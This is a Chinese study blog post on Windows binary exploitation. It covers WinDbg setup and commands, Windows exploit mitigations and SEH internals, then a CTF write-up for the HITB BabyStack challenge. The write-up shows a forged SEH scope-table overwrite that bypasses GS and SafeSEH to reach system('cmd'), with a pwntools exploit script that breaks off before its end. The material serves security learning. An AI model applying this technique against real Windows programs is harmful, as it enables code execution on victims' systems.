Windows_Pwn学习

字数统计: 8.2k字   |   阅读时长≈ 33分

希望能通过这次的学习，对Windows 下的基础知识，都有一个初步的了解，以后调试CVE，也能够更有经验了。

环境搭建

checksec

有一个windows下的 exe，但是我没有安装成功。直接使用 checksec.py脚本检测。

winpwn

可以直接安装 winpwn

1
2
3
4
pip install winpwn
pip install pefile
pip install keystone-engine
pip install capstone

调试

使用的 EX 大佬编写的一个类似 socat的工具 Win Server，能够实现利用 pwntools 脚本连接。

可以直接使用windbg，也可以使用微软商店里的windbg preview(界面更好看)。

这里建议配置一下调试符号表的下载，由于现在墙的限制和windows对很多符号表已经取消开放了，所以很多系统库文件已经没有符号表了。但是对已有的，加载了符号表后，调试还是很方便的。符号表配置方法如下：

首先在windbg的symbol file path中添加符号表本地缓存的路径和远程的符号服务器：

srv*c:\MySymbols*https://msdl.microsoft.com/download/symbols

随后在windbg命令行中输入：.reload即可重新加载符号文件（注意:这里由于墙的原因，所以需要梯子）

1
2
3
4
5
6
7
.sympath   // 查看当前符号查找路径
.sympath c:\symbols   // 将符号查找路径设为：c:\symbols
.sympath+ c:\symbols  // 将c:\symbols添加到符号查找路径集合中

.reload // 为所有已加载模块载入符号信息
.reload /f /v // f:强制立即模式（不允许延迟载入）  v:详细模式
.reload /f @"c:\windows\System32\verifier.dll" // 为指定模块加载符号信息

windbg常用的调试命令：

系统模块与PE文件检索：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
0:000> lm            // 列出所有模块对应的符号信息
0:000> lmv           // 列出所有模块对应的符号信息
0:000> lmt           // 列出所有模块的基地址和偏移
0:000> lmf           // 列出所有DLL的具体路径
0:000> lmvm ntdll    // 查看ntdll.dll的详细信息
0:000> !lmi ntdll    // 查看ntdll.dll的详细信息

0:000> !dlls -a               // 列出镜像文件PE结构的文件头
0:000> !dlls -l               // 按照顺序列出所有加载的模块
0:000> !dlls -c ntCreateFile  // 查询指定函数所在的模块
0:000> !dlls -c ntdll.dll     // 列出特定模块头信息
0:000> !dlls -s -c ntdll.dll  // 列出ntdll.dll的节区
0:000> !dlls -v -c ntdll      // 查看ntdll.dll的详细信息

0:000> ld *         // 为所有模块加载符号
0:000> ld kernel32 // 加载kernel32.dll的符号
0:000> x*!                    // 列出加载的所有符号信息
0:000> x ntdll!*              // 列出ntdll.dll中的所有符号
0:000> x ntdll!nt*            // 列出ntdll.dll模块中所有nt开头的符号
0:000> x /t /v ntdll!*        // 带数据类型、符号类型和大小信息列出符号
0:000> x kernel32!*Load*      // 列出kernel32模块中所有含Load字样的符号

进程与线程操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| // 列出调试进程
!dml_proc             // 显示当前进程信息
.tlist -v             // 列出所有运行中的进程
~   // 列出线程
~.  // 查看当前线程
~*  // 所有线程
~0s // 查看主线程
~* k // 所有线程堆栈信息
~* r // 所有线程寄存器信息
~# // 查看导致当前事件或异常的线程
~N  // 查看序数为N的线程
~~[n]  // 查看线程ID为n的线程  n为16进制
~Ns   // 切换序数为N的线程为当前调试线程
~~[n]s  // 切换线程ID为n的线程为当前调试线程  n为16进制
~3f      //把三号线程冻住
~2u       //把二号线程解冻

~N n  // Suspend序数为N的线程
~N m // Resume序数为N的线程
!runaway  //显示当前进程的所有线程用户态时间信息
!runaway f  //显示当前进程的所有线程用户态、内核态、存活时间信息
!locks // 显示死锁
!cs  // 列出CriticalSection（临界段）的详细信息

0:000> .formats 1d78  // 格式化输出PID
!handle  // 查看所有句柄的ID

反汇编指令与内存断点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
u   // 反汇编当前eip寄存器地址的后8条指令
ub  // 反汇编当前eip寄存器地址的前8条指令
u main.exe+0x10 L20 // 反汇编main.exe+0x10地址后20条指令
uf lyshark::add  // 反汇编lyshark类的add函数
uf /c main  // 反汇编main函数
ub 000c135d L20  // 查看地址为000c135d指令前的20条指令内容

r // 显示所有寄存器信息及发生core所在的指令
r eax, edx // 显示eax，edx寄存器信息
r eax=5, edx=6  // 对寄存器eax赋值为5，edx赋值为6

g  // Go 让程序跑起来
p    // 单步执行(F10)
p 2 // 2为步进数目
pc   // 执行到下一个函数调用处停下
pa 0x7c801b0b // 执行到7c801b0b地址处停下
t     // 停止执行

!address -summary  // 显示进程的内存统计信息
!address -f:stack  // 查看栈的内存信息
!address 0x77c000   // 查看该地址处的内存属性

bl   // 列出所有断点
bc * // 清除所有断点
be *  // 启用所有断点
bd *  // 禁用所有断点

bc 1 2 5  // 清除1号、2号、5号断点
be 1 2 5 // 启用1号、2号、5号断点
bd 1 2 5 // 禁用1号、2号、5号断点

bp main    // 在main函数开头设置一个断点
bp 0x7c801b00  // 在7c801b00地址处放置一个断点
bp main.exe+0x1032  // 在模块MyDll.dll偏移0x1032处放置一个断点
bp @$exentry  // 在进程的入口放置一个断点
bm message_*  // 匹配message_开头的函数，并在这些函数起始处都打上断点

堆栈操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
k  // 显示当前调用堆栈
kn // 带栈编号显示当前调用堆栈
kb  // 打印出前3个函数参数的当前调用堆栈
kb 5 // 只显示最上的5层调用堆栈

kv   // 在kb的基础上增加了函数调用约定、FPO等信息
kp  // 显示每一层函数调用的完整参数，包括参数类型、名字、取值
kd  // 打印堆栈的地址
kD  // 从当前esp地址处，向高地址方向搜索符号（注：函数是符号的一种）
dds 02a9ffec  // 从02a9ffec地址处，向高地址方向搜索符号（注：函数是符号的一种）
dds  // 执行完dds 02a9ffec后，可通过dds命令继续进行搜索

.frame // 显示当前栈帧
.frame n  // 显示编号为n的栈帧（n为16进制数）
.frame /r n // 显示编号n的栈帧（n为16进制数） 并显示寄存器变量
.frame /c n // 设置编号n的栈帧为当前栈帧（n为16进制数）
!uniqstack // 显示所有线程的调用堆栈
!findstack kernel32 2 // 显示包含kernel32模块（用星号标出）的所有栈的信息
!heap -s  // 显示进程堆的个数
dt _HEAP 00140000  // 选取一个堆的地址，打印该堆的内存结构
!heap -a 00140000 // 选取一个堆的地址，打印该堆的信息，比上面打印内存命令更详细直观

其他命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
dt ntdll!* // 显示ntdll里的所有类型信息
dt -rv _TEB
dt -rv _PEB
dt -v _PEB @$PEB
dt _PEB_LDR_DATA
dt _TEB ny LastErrorValue // 只查看TEB（thread's environment block）结构成员LastErrorValue

dt _eprocess
dt _eprocess 0x510

!dh 773a0000                 显示文件PE头

*是通配符；显示所有peb打头的结构体名称；
dt ntdll!_peb*

0:000> dt -rv ntkrnlmp!*Object*  枚举ntkrnlmp中带"Object"的结构体名称；

.attach  PID  附加进程
.detach         结束会话

.dump  文件名  转存文件
.opendump     打开文件

dt -v ntdll!*           # 列出ntdll中的全部结构体，导出的函数名也会列出

dt ntdll!*file*           # 下面命令将列出ntdll导出的文件操作相关的函数名
dt _FILE_INFORMATION_CLASS      查看一个结构定义
dt ntdll!_*   列出ntdll中结构体

Windows Pwn基本知识

函数调用约定

函数调用大多与架构有关，与操作系统无关。

x64模式下只有一种调用方式 fastcall，在发生函数调用的时候前4个参数通过寄存器 RCX,RDX,R8,R9，传递剩下的通过栈传递。函数的返回值保存在 RAX寄存器下。

  • 如果返回值为较大的值（结构体），那么由调用方在栈上分配空间，并将指针通过RCX传递给被调用函数，被调用函数通过RAX返回该指针
  • 栈需要十六字节对齐，但是call之后会push八字节的返回地址，但是这样的情况下栈就没办法对齐了，因此所有的非叶子节点调用函数都需要调整栈帧为16n+8。
  • 对于 R8-R15 寄存器，我们可以使用 r8, r8d, r8w, r8b 分别代表r8寄存器的64位、低32位、低16位和低8位
  • 一般情况下x64平台中RBP栈指针被废弃，只作为普通的寄存器使用，所有的栈操作都通过RSP指针完成。
  • 调用者负责清理栈帧，被调用者不用清理栈帧，但是有时候调用者不一定会清理栈帧。这是因为与通过 PUSH 和 POP 指令在堆栈中显式添加和移除参数的x86 编译器不同，x64 模式下，编译器会预留足够的堆栈空间，以调用最大目标函数（参数方法）所使用的任何内容。随后，在调用子函数时，它重复使用相同的堆栈区域来设置这些参数，从而实现不用调用者反复清栈的过程

程序保护

  • ASLR

与 Linux相同，在程序启动时将 DLL随机加载到内存中的位置，这将缓解恶意程序的加载。ASLR 在 Windows10后开始在系统中被配置为默认启用。

  • High Entropy VA

称为 高熵64位地址空间布局随机化，开启后，表示此程序的地址随机化的取值空间为64bit，这会导致攻击者更难去推测随机化后的地址。

  • Force Integrity

这个保护被称为强制签名保护，一旦开启，表示此程序加载时需要验证其中的签名，如果签名不正确，程序将会被组织运行。

  • Isolation

被称为隔离保护，一旦开启，表示此程序加载时将会在一个相对独立的隔离环境中被加载，从而阻止攻击者过度提升权限。

  • NX/EDP/PAE

NX指内存页不可运行，操作系统能够将一页或多页内存标记为不可执行，从而防止从该内存区域运行代码，以帮助防止缓冲区溢出。防止代码在数据页面（例如堆、栈和内存池）中运行，在Windows中常称为 DEP。

PAE(物理地址扩展，即 Physical Address Extension)，是一项处理器功能，使 x86 处理器可以在部分 Windows版本上访问 4GB以上的物理内存。在基于 x86的系统上运行某些 32位 版本的 Windows Server可以使用 PAE访问最多 64 GB 或 128 GB的物理内存，具体取决于处理器的物理地址大小。使用 PAE，操作系统将从两级线性地址转换为三级地址转换。两级线性地址转换将线性地址拆分为3个独立的字段索引到内存表中，三级地址转换将其拆分成4个独立项的字段：一个2位的字段，两个9位的字段和一个12位的字段。PAE模式下的页表条目 PTE 和 页目录条目 PDE的大小从32位增加到64位。附加允许操作系统 PTE或 PDE引用4 GB以上的物理内存。同时，PAE将允许在基于 x86 的系统上运行的32位 Windows中启用 EDP等功能。

  • SEHOP

即结构化异常处理保护，能够防止攻击者利用结构化异常处理来进行进一步的利用。

  • CFG

控制流防护，在间接跳转前插入校验代码，检查目标地址的有效性，进而可以组织执行流跳转到预期之外的地点，最终及时有效的进行异常处理。

  • RFG

返回地址防护，在每个函数头部将返回地址保存到 fs:[rsp](Thread Control Stack)，并在函数返回前将其与栈上返回地址进行比较，从而有效阻止了这些攻击方式。

  • SafeSEH

安全结构化异常处理函数，即白名单安全沙箱，事先定义一些异常处理程序，并基于此构造安全结构化异常处理表，程序正式运行后，安全结构化异常处理表之外的异常处理程序将会被阻止运行。

  • GS

类似 Canary保护，一旦开启会在返回地址和BP之前压入一个额外的 Security Cookie。系统会比较栈中的这个值和原先存放在 .data中的值做一个比较。

  • Authenticode

签名保护

  • .NET

DLL混淆级保护

SEH机制

SEH是Windows操作系统上 对 C/C++ 程序语言做的语法拓展，用于处理异常事件的程序控制结构。异常事件是指打断程序正常执行流程的不在期望之中的硬件、软件事件。硬件异常是CPU抛出的如 除0、数值溢出等；软件异常是操作系统与程序通过 RaiseException语句抛出的异常。Windows拓展了C语言的语法，用 try-except与 try-finally 语句来处理异常。异常处理程序可以释放已经获取的资源、显示出错信息与程序内部状态供调试、从错误中恢复、尝试重新执行出错的代码或者关闭程序等。一个 __try 语句不能既有 __except，又有 __finally。但 try-except与 try-finally语句可以嵌套使用。

SHE结构体

TIB结构体

TIB线程信息块，是保存现成基本信息的数据结构，存在于 x86的机器上，也被称为是 Win32的 TEB(Thread Environment Block)线程环境快。是操作系统为了保存每个现成的私有数据创建的，每个线程都有自己的 TIB/TEB。

TEB结构如下：

1
2
3
4
5
6
7
8
9
10
11
12
typedef struct _TEB {
  PVOID Reserved1[12];
  PPEB  ProcessEnvironmentBlock;
  PVOID Reserved2[399];
  BYTE  Reserved3[1952];
  PVOID TlsSlots[64];
  BYTE  Reserved4[8];
  PVOID Reserved5[26];
  PVOID ReservedForOle;
  PVOID Reserved6[4];
  PVOID TlsExpansionSlots;
} TEB, *PTEB;

TIB结构如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// Code in https://source.winehq.org/source/include/winnt.h#2635

typedef struct _NT_TIB{
    struct _EXCEPTION_REGISTRATION_RECORD *Exceptionlist; // 指向当前线程的 SEH
    PVOID StackBase;    // 当前线程所使用的栈的栈底
    PVOID StackLimit;   // 当前线程所使用的栈的栈顶
    PVOID SubSystemTib; // 子系统
    union {
        PVOID FiberData;
        ULONG Version;
    };
    PVOID ArbitraryUserPointer;
    struct _NT_TIB *Self; //指向TIB结构自身
} NT_TIB;

在这个结构中与异常处理有关的成员是指向 _EXCEPTION_REGISTRATION_RECORD结构的 Exceptionlist指针，注意 异常处理链表位于 TIB的链表头

_EXCEPTION_REGISTRATION_RECORD结构体

该结构体主要用于描述线程异常处理句柄的地址，多个该结构的链表描述了多个线程异常处理过程的嵌套层次关系，结构内容为：

1
2
3
4
5
6
//  Code in https://source.winehq.org/source/include/winnt.h#2623

typedef struct _EXCEPTION_REGISTRATION_RECORD{
    struct _EXCEPTION_REGISTRATION_RECORD *Next; // 指向下一个结构的指针
    PEXCEPTION_ROUTINE Handler; // 当前异常处理回调函数的地址
}EXCEPTION_REGISTRATION_RECORD;

image-20201027213119896

注意：fs 寄存器指向 TEB结构，Next指针指向 0xFFFFFFFF，表示SEH链结束。

Windwos异常处理流程

之前调试过，但是再看了一下，查漏补缺。

  1. 产生硬件异常通过 IDT调用异常处理例程， 产生软件异常通过 API的层层调用产地异常信息。而异常又由于发生位置不同，分为内核异常和用户态异常，二者最后都会靠 kiDispathException函数来进行异常分发；
  2. 当内核产生异常时，程序处理流程进入到 KiDispatchException 函数，在该函数内备份当前线程 R3 的 TrapFrame（即栈帧的基址）。异常处理首先判断这是否是第一次异常，判断是否存在内核调试器，如果有内核调试器，则把当前的异常信息发送给内核调试器；如果没有内核调试器或者内核调试器没有处该异常 ， 则进入步骤3，调用 RtlDispatchException。
  3. 内核异常进入 RtlDispatchException 函 数， 如果RtlDispatchException 函数没有处理该异常，那么将再次尝试将异常发送到内核调试器，如果此时内核调试器仍然不存在或者没有处理该异常，那么此时系统会直接蓝屏；
  4. 如果是用户态异常则经过 KiDispatchException进行用户态异常分发和处理。如果是第一次分发异常，则调用 DbgKForwardException将异常分发到内核调试器；如果内核调试器不存在或没有处理异常，则尝试将异常分发给用户态调试器；如果异常被处理，则进入步骤10；如果用户态调试器不存在或未处理异常，则检测是否是第一次处理异常，如果是第一次处理异常则进入第5步中的异常数据准备；
  5. 准备一个返回ntdll!KiUserExceptionDispatcher 函数的应用层调用栈，结束本次KiDispatchException 函数的运行，调用KiServiceExit 返回用户层。此时函数栈帧是ntdll!KiUserExceptionDispatcher的执行环境，用户态线程从执行 ntdll!KiUserExceptionDispatcher 开始执行。该函数调用 ntdll!RtlDispatchException 进行异常的分发，进入第 6 步；
  6. 通过 RtlCallVectoredExceptionHandlers遍历 VEH链表尝试查找异常处理函数；如果 VEH未处理异常。则从 fs[0]读取 ExceptionList并开始执行 SEH 函数处理，进入步骤7；
  7. 如果SEH没有处理函数处理该异常，则检查用户是否通过SetUnhandledExceptionFilter函数注册过进程的异常处理函数，如果用户注册过异常处理函数，调用该异常处理函数，如果异常没有被成功处理或没有自定义的异常处理函数，则进入步骤3；
  8. 如果最后仍没有处理该异常，便会主动调用 NtRaiseException将该异常重新跑出来，但是此时不是第一次分发，此时 NtRaiseException流程重新调用了 ntdll!KiDispatchException，并再次进入用户态异常的处理分支，进入步骤9；
  9. 第二次进入用户态异常处理时，不会再尝试发送到内核调试器，也不会再进行异常分发，而是直接尝试发送到用户态体异常调试器，如果最后异常仍未被处理则进入步骤11；
  10. 异常被处理，调用 NtContine，将之前保存的 TrapFrame还原，程序继续从异常处正常运行；
  11. 异常不能被处理，系统调用 ntdll!KiDispatchException 调用 ZeTerminateProcess结束进程。

导入表和导出表

Windows程序没有延迟绑定机制，也就没有 PLT/GOT表，Windows程序通过导入表和导出表来调用库函数。

导入表是 为了实现代码重用而设置，通过分析导入表数据，可以获得 PE文件指令中调用了多少外来函数，以及这些外来函数都存在于哪些动态链接库里等信息。Windows加载器在运行PE时，会将导入表中声明的动态链接库一并加载到进程的地址空间，并修正指令代码中调用的函数地址。在数据目录中一共有四种类型的数据与导入表数据有关：导入表、导入函数地址表、绑定导入表、延迟加载导入表。导入表通常位于 .idata段；

SafeSEH

当异常发生时，异常处理过程 RtlDispatchException会对 SEH进行检查：

  • 首先检查异常处理链是否在栈上，如果不在栈上程序将终止异常处理；
  • 其次检查异常处理 Handler是否在栈上，如果在栈上程序将终止异常处理。
  • 最后检测调用 RtlsValidHandler检测 Handler有效性。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
BOOL RtlIsValidHandler(handler)
{
    if (handler is in an image) // step 1
    {
        // 在加载模块的进程空间
        if (image has the IMAGE_DLLCHARACTERISTICS_NO_SEH flag set)
            return FALSE; // 该标志设置，忽略异常处理，直接返回FALSE
 
        if (image has a SafeSEH table) // 是否含有SEH表
            if (handler found in the table)
                return TRUE; // 异常处理handle在表中，返回TRUE
            else
                return FALSE; // 异常处理handle不在表中，返回FALSE
 
        if (image is a .NET assembly with the ILonly flag set)
            return FALSE; // .NET 返回FALSE
        // fall through
    }
 
    if (handler is on a non-executable page) // step 2
    {
             // handle在不可执行页上面
        if (ExecuteDispatchEnable bit set in the process flags)
            return TRUE; // DEP关闭，返回TRUE；否则抛出异常
        else
            raise ACCESS_VIOLATION; // enforce DEP even if we have no hardware NX
    }
 
    if (handler is not in an image) // step 3
    {
             // 在加载模块内存之外，并且是可执行页
        if (ImageDispatchEnable bit set in the process flags)
            return TRUE; // 允许在加载模块内存空间外执行，返回验证成功
        else
            return FALSE; // don't allow handlers outside of images
    }
 
    // everything else is allowed
    return TRUE;
}

上面伪码里的 ExcuteDispatchEnable 和 ImageDispatchEnable 标志用来控制 Handler 在不可执行内存或者不在异常模块的映射内时，是否可以执行。默认情况下，如果进程 DEP开启，两位为 0，DEP关闭两位为1。

通过对上面 SafeSEH的分析，了解到 SafeSEH的检测主要分为3类：

  1. SEH在加载模块的进程空间，检测是否开启了有SEH标志位，未开启直接返回false；随后检测是否有SEH Table,有则检测handler是否在表中，不在表中则报错返回
  2. SEH在不可执行页中，如果DEP关闭了，返回True；如果未关闭，则返回 false；
  3. SEH在加载模块之外，且在可执行页上，则检测是否满足 MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE标志位，其决定了是否允许在加载模块内存空间外执行。

如果要绕过 SafeSEH检测，一般都要寻找满足以上三种情况的内存来布置我们自己的 fake_seh_handler。

当然，还有一种比较实用的方法，就是找一个未开启 SafeSEH的 dll来布置我们的fake_seh_handler。这种方法是简单但比较常见，对于Windows下的 ASLR也可以通过寻找未开启的 Dll中的 gadget来利用。

Win10 在检查 SEH时，还会检查 SEH链，也即覆盖后的 Next需要指向一个正常的 SEH，保证 SEH链的正常。

我们在 RtlDispatchException(位于Windows\SysWoW64\ntdll.dll)函数中，可以发现对SEH链表地址的检测：

image-20201028220210251

也就是说，在Win10下，还得注意 对 栈上SEH next这个值进行泄露，以获得正确地址。

SEH Scope Table

系统通过 ScopeTable结构体来实现伪造 __except 和 __finally函数，其中 _EH4_SCOPETABLE_RECORD结构体中的 HandlerAddress对应 __except函数，FinallyFunc对应 __finally函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
struct _EH4_SCOPETABLE {
        DWORD GSCookieOffset;
        DWORD GSCookieXOROffset;
        DWORD EHCookieOffset;
        DWORD EHCookieXOROffset;
        _EH4_SCOPETABLE_RECORD ScopeRecord[1];
};

struct _EH4_SCOPETABLE_RECORD {
        DWORD EnclosingLevel;
        long (*FilterFunc)();
            union {
            void (*HandlerAddress)();
            void (*FinallyFunc)(); 
    };
};

当 GSCookieOffset= -2 表示 GS Cookie没有启用；EHCookie是永远存在的，并且访问时用到的偏移都是相对于 %ebp来计算的，对 security_cookie的检验方式为：

1
(ebp+CookieXOROffset) ^ [ebp+CookieOffset] == _security_cookie

栈中指向 scopetable的指针也要与 _security_cookie进行异或计算。

以一个程序为例分析 Scope Table在栈中的环境：

main函数的开头，会将 scope_table先插入 ebp-8，保存了当前函数中的 __try块相匹配的 __except 或 __finally的地址值。

再将系统默认的异常处理回调函数 __except_handler4 插入到 ebp-c中，当发生异常时会首先调用它。

然后再将 SEH链表头从 fs[0]中取出，插入到 ebp-0x10中；

然后插入了 GS到 bep-0x1c中。

image-20201028211332850

当异常时，程序会先调用 __except_handler，其位于 VCRUNTIME140.dll 如下所示：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
int __cdecl _except_handler4_common(unsigned int *CookiePointer, void (__fastcall *CookieCheckFunction)(unsigned int), _EXCEPTION_RECORD *ExceptionRecord, _EXCEPTION_REGISTRATION_RECORD *EstablisherFrame, _CONTEXT *ContextRecord)
{
  _EXCEPTION_REGISTRATION_RECORD *SEH_head; // esi
  _EH4_SCOPETABLE *scope_table; // ST08_4
  _EXCEPTION_DISPOSITION (__stdcall *except_handler)(_EXCEPTION_RECORD *, void *, _CONTEXT *, void *); // edi
  int Secope_Record; // eax
  _EXCEPTION_DISPOSITION (__stdcall *ScopeTable_now)(_EXCEPTION_RECORD *, void *, _CONTEXT *, void *); // ebx
  DWORD *SecopeTable_Record; // eax
  DWORD Handler_address; // ecx
  int FilterFunc_ret; // eax
  char v13; // cl
  _EXCEPTION_RECORD *v15; // eax
  _EXCEPTION_REGISTRATION_RECORD *SHE_List; // eax
  _EH4_SCOPETABLE *ScopeTable1; // ST08_4
  _EXCEPTION_POINTERS ExceptionPointers; // [esp+Ch] [ebp-1Ch]
  DWORD *SecopeTable1_Record; // [esp+14h] [ebp-14h]
  _EXCEPTION_REGISTRATION_RECORD *framePoint; // [esp+18h] [ebp-10h]
  int v21; // [esp+1Ch] [ebp-Ch]
  _EH4_SCOPETABLE *ScopeTable; // [esp+20h] [ebp-8h]
  char v23; // [esp+27h] [ebp-1h]

  v23 = 0;
  SEH_head = EstablisherFrame + 2;
  scope_table = (_EH4_SCOPETABLE *)(*CookiePointer ^ (_DWORD)EstablisherFrame[1].Next);
  v21 = 1;
  framePoint = EstablisherFrame + 2;            // SEH链表头
  ScopeTable = scope_table;
  ValidateLocalCookies(CookieCheckFunction, scope_table, (char *)&EstablisherFrame[2]);
  __except_validate_context_record(ContextRecord);// 验证异常触发上下文环境
  except_handler = EstablisherFrame[1].Handler; // except_handler
  if ( ExceptionRecord->ExceptionFlags & 0x66 )
  {
    if ( except_handler != (_EXCEPTION_DISPOSITION (__stdcall *)(_EXCEPTION_RECORD *, void *, _CONTEXT *, void *))-2 )
    {
      _EH4_LocalUnwind(SEH_head, CookiePointer);
LABEL_14:
      ValidateLocalCookies(CookieCheckFunction, ScopeTable, (char *)SEH_head);
      return v21;
    }
  }
  else
  {
    ExceptionPointers.ExceptionRecord = ExceptionRecord;
    ExceptionPointers.ContextRecord = ContextRecord;
    EstablisherFrame[-1].Handler = (_EXCEPTION_DISPOSITION (__stdcall *)(_EXCEPTION_RECORD *, void *, _CONTEXT *, void *))&ExceptionPointers;
    if ( except_handler != (_EXCEPTION_DISPOSITION (__stdcall *)(_EXCEPTION_RECORD *, void *, _CONTEXT *, void *))-2 )
    {
      do
      {
        Secope_Record = (int)except_handler + 2 * ((_DWORD)except_handler + 2);
        ScopeTable_now = (_EXCEPTION_DISPOSITION (__stdcall *)(_EXCEPTION_RECORD *, void *, _CONTEXT *, void *))*(&ScopeTable->GSCookieOffset + Secope_Record);// 遍历ScopeTable_Record
        SecopeTable_Record = &ScopeTable->GSCookieOffset + Secope_Record;
        Handler_address = SecopeTable_Record[1];
        SecopeTable1_Record = SecopeTable_Record;
        if ( Handler_address )
        {
          FilterFunc_ret = _EH4_CallFilterFunc(Handler_address, SEH_head);// 调用 FilterFunc
          v13 = 1;
          v23 = 1;
          if ( FilterFunc_ret < 0 )
          {
            v21 = 0;
            goto LABEL_14;
          }
          if ( FilterFunc_ret > 0 )
          {
            v15 = ExceptionRecord;
            if ( ExceptionRecord->ExceptionCode == -529697949 && _pDestructExceptionObject )
            {
              if ( _IsNonwritableInCurrentImage(&_pDestructExceptionObject) )
              {
                _pDestructExceptionObject(ExceptionRecord, 1);
                SEH_head = framePoint;
              }
              v15 = ExceptionRecord;
            }
            _EH4_GlobalUnwind2(EstablisherFrame, v15);
            SHE_List = EstablisherFrame;
            if ( EstablisherFrame[1].Handler != except_handler )
            {
              _EH4_LocalUnwind(SEH_head, CookiePointer);
              SHE_List = EstablisherFrame;
            }
            ScopeTable1 = ScopeTable;
            SHE_List[1].Handler = ScopeTable_now;
            ValidateLocalCookies(CookieCheckFunction, ScopeTable1, (char *)SEH_head);
            _EH4_TransferToHandler(SecopeTable1_Record[2], SEH_head);// 调用finally func
            JUMPOUT(*(_DWORD *)_LN26);
          }
        }
        else
        {
          v13 = v23;
        }
        except_handler = ScopeTable_now;
      }
      while ( ScopeTable_now != (_EXCEPTION_DISPOSITION (__stdcall *)(_EXCEPTION_RECORD *, void *, _CONTEXT *, void *))-2 );// 遍历结束
      if ( !v13 )
        return v21;
      goto LABEL_14;
    }
  }
  return v21;
}

会检查栈中放入的 GS值，会根据 securityCookies解密 _EH4_SCOPETABLE的地址，最终会调用到 _EH4_SCOPETABLE里面的 FilterFunc和 FinallyFunc。

函数栈帧结构如下：

SEH4 栈内存布局

针对 __except_handler函数，如果我们伪造一个 scope table，把里面的 FilterFunc或者 FinallyFunc改为 system('cmd')的地址，然后把这个伪造的 scope table通过溢出覆盖掉原 scope table，就能够getshell。

当然由于 栈中存储的 scope table地址是 _EH4_SCOPETABLE_addr ^ _security_cookie得来，所以我们也得知道 __security_cookie的实际值。同时覆盖时，也不可避免覆盖掉 GS Cookie，next SEH 和 except_handler，但也必须保证这三个值的正确性。

HITB GSEC BabySTACK

程序分析

image-20201029131827574

程序开启了ASLR,DEP,ControlFlowGuadr

image-20201029131601781

程序总体功能较为简单，而且也给了我们一个栈地址和 一个 plt地址。还能有10次机会输入和获取指定地址的数据。

当我们输入 no时，存在一个栈溢出，栈大小为 0x9c，我们可以输入 0x100的数据。

此外，程序中还隐藏了一个后门，可以直接执行 system(cmd)：

image-20201029131942014

利用分析

看到栈溢出，而且有一个后门地址，我们首先应该想到直接覆盖 ret地址，使 rip跳转到后门地址。但是这道题的 main函数并非是以 return结束，而是以 exit函数，在执行 exit函数时，会在当前的栈上新增一个 exit的栈，我们的覆盖的main函数返回地址将失效。

然后，经过上面对 Scope Table的分析，可以发现程序在有 __try和 __except, __finally时，发生了异常不会执行 SEH链，而是先执行 Scope Table里的 FilterFunc或者 FinallyFunc等

我们看到当完成了初始的栈布局后，main函数的栈环境如下：

image-20201029140930821

此时，ebp=0x19ff28，我们往上找，能分别找到 Scope_Type 经过与 security_cookie异或加密、SEH_next、except_hander、和 GS_Cookie。

image-20201029140357158

我们可以看到 SHE_next此时的值为 0x19ff60，其地址为 0x19ff18，我们可以在 TEB的头部，看到其地址为 0x19ff18，说明该函数的 SEH节点已经插入SHE链表中。

image-20201029140329822

那么，我们此时的方法是在栈上伪造一个 Scope_Table，然后修改原本的 Scope_Table的值。覆盖时，注意需要保证 GS_Cookie的值正确，保证 SEH_next的值仍然正确，保证 except_handler的函数地址也正确。

我们的覆盖数据如下：

1
'a'*0x10 + fake_scope_table+ padding + GS_Cookie + 'a'*8 + SEH_next + except_handler + fake_scope_table_addr + p32(0)

我们伪造的 fake_scope_table数据如下：

1
2
3
4
5
6
7
fake_scope_table = p32(0x0FFFFFFE4)     #GSCookieOffset
fake_scope_table += p32(0)              #GSCookieXOROffset
fake_scope_table += p32(0x0FFFFFF20)    #EHCookieOffset
fake_scope_table += p32(0)              #EHCookieXOROffset
fake_scope_table += p32(0x0FFFFFFFE)    #ScopeRecord.EnclosingLevel
fake_scope_table += p32(system_addr)    #ScopeRecord.FilterFunc
fake_scope_table_addr = stack_addr + 0x10

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
context.update(log_level='debug')

debug = 0
if debug == 1:
    p = process('./babystack')
    elf = ELF('./babystack')
else:
    p = remote('192.168.44.149', 10009)

def get_value(addr):
    p.recvuntil('Do you want to know more?\r\n')
    p.sendline('yes')
    p.recvuntil('Where do you want to know\r\n')
    p.sendline(str(addr))
    p.recvuntil('value is ')
    value = int(p.recvuntil('\n', drop=True), 16)
    return value


p.recvuntil('stack address = ')
stack_addr = int(p.recvuntil('\n', drop=True), 16)
ebp_addr = stack_addr + 0x9c
p.recvuntil('main address = ')
main_addr = int(p.recvuntil('\n', drop=True), 16)
plt_base = main_addr - 0x10b0
print 'plt_base:',hex(plt_base)
system_addr = plt_base + 0x138d


security_cookie_addr = plt_base + 0x4004
print 'security_cookie:',hex(security_cookie_addr),type(security_cookie_addr)
security_cookie = get_value(security_cookie_addr)
GS_Cookie = security_cookie ^ (ebp_addr)
print 'security_cookie:',hex(security_cookie),'GS_Cookie:',hex(GS_Cookie)
seh_next_addr = ebp_addr - 0x10
seh_next = get_value(seh_next_addr)
print 'seh_next:',hex(seh_next)
except_handler_addr = ebp_addr - 0xc
except_handler = get_value(except_handler_addr)
